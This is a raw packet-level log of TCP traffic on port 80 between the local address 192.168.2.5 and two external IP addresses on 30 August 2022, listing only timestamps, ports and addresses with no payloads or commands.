Aug 30, 2022 15:54:24.646859884 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.646881104 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.646920919 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.646923065 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.646953106 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.646990061 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647008896 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647021055 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647051096 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647063971 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647106886 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647125006 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647141933 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647181988 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647195101 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647214890 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647244930 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647264004 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647279024 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647310019 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647330999 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647361040 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647397041 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647418976 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647430897 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647460938 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647484064 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647496939 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647521019 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647550106 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647557974 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647587061 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647612095 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647623062 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647654057 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647675037 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647686958 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647716999 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647737980 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647752047 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647780895 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647802114 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647815943 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647846937 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647866964 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647881985 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647913933 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647933960 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.647948027 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.647978067 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648000002 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.648013115 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648041964 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648068905 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.648077965 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648108006 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648130894 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.648144007 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648175001 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648192883 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.648207903 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648237944 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648258924 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.648271084 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648300886 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.648323059 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.700953007 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.907725096 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907759905 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907779932 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907799959 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907820940 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907839060 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907860041 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907880068 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907897949 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907916069 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907931089 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907932043 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.907951117 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907970905 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907982111 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.907988071 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.907990932 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.907990932 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908011913 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908031940 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908046961 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908047915 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908066988 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908077955 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908082008 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908097029 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908106089 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908112049 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908128023 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908142090 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908155918 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908169985 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908185959 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908200026 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908282995 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908304930 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908318996 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908324003 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908344030 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908356905 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908359051 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908377886 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908396006 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908415079 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908415079 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908433914 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908442974 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908453941 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908468008 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908468962 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908489943 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908514023 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908520937 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908533096 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908550024 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908554077 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908569098 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908572912 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908591986 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908601999 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908611059 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908629894 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908634901 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.908648014 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.908678055 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:24.958882093 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:24.959041119 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:25.166043043 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:25.166121960 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:25.166161060 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:25.166235924 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:25.166273117 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:25.994241953 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:25.995423079 CEST	49723	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:54:26.252985001 CEST	80	49723	115.88.24.202	192.168.2.5
Aug 30, 2022 15:54:26.802932024 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:27.107608080 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:27.107732058 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:27.107912064 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:27.108349085 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:27.412914038 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212363958 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212424040 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212457895 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212500095 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212539911 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212539911 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.212578058 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.212583065 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212625027 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212656975 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.212666035 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212707996 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212714911 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.212749004 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.212891102 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.517648935 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.517724991 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.517767906 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.517849922 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.517887115 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.517973900 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518054962 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518063068 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.518099070 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518202066 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518203020 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.518249035 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518326044 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518326044 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.518395901 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.518400908 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518445969 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518522978 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518527031 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.518568993 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518610001 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518675089 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518680096 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.518721104 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518786907 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.518788099 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.518831015 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.519467115 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.823683977 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.823749065 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.823791027 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.823833942 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.823842049 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.823877096 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.823919058 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.823925018 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.823965073 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824007034 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824048042 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824080944 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824090004 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824100971 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824155092 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824197054 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824234962 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824239016 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824259996 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824280977 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824321985 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824356079 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824362993 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824404955 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824429035 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824446917 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824491978 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824532986 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824573040 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824574947 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824609041 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824615002 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824656010 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824697018 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824732065 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824738979 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824753046 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824785948 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824836016 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824855089 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824878931 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824920893 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.824951887 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.824964046 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.825004101 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.825047016 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.825088978 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.825088978 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.825129986 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.825131893 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.825175047 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.825216055 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.825253963 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.825257063 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.825288057 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:29.825299025 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:29.825743914 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.130016088 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130084038 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130125999 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130172014 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130230904 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130250931 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.130285978 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130306005 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.130335093 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130382061 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130438089 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.130443096 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130491018 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130511045 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.130543947 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130554914 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.130592108 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130635977 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130657911 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.130686998 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130733967 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130755901 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.130781889 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130825043 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130870104 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130888939 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.130918026 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.130960941 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131028891 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131031990 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131038904 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131073952 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131124020 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131138086 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131171942 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131217003 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131236076 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131264925 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131305933 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131371975 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131377935 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131433964 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131475925 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131498098 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131529093 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131567955 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131576061 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131618977 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131639004 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131669044 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131712914 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131751060 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131761074 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131803036 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131846905 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131863117 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.131897926 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131946087 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.131963015 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.132004976 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.132004976 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.132050991 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.132095098 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.132117987 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.132143021 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.132189035 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.132201910 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.132237911 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.132281065 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.132327080 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.132339954 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.135466099 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437064886 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437125921 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437169075 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437211037 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437252045 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437278986 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437295914 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437326908 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437339067 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437346935 CEST	49724	80	192.168.2.5	222.232.238.243
Aug 30, 2022 15:54:30.437385082 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437427044 CEST	80	49724	222.232.238.243	192.168.2.5
Aug 30, 2022 15:54:30.437469006 CEST	80	49724	222.232.238.243	192.168.2.5
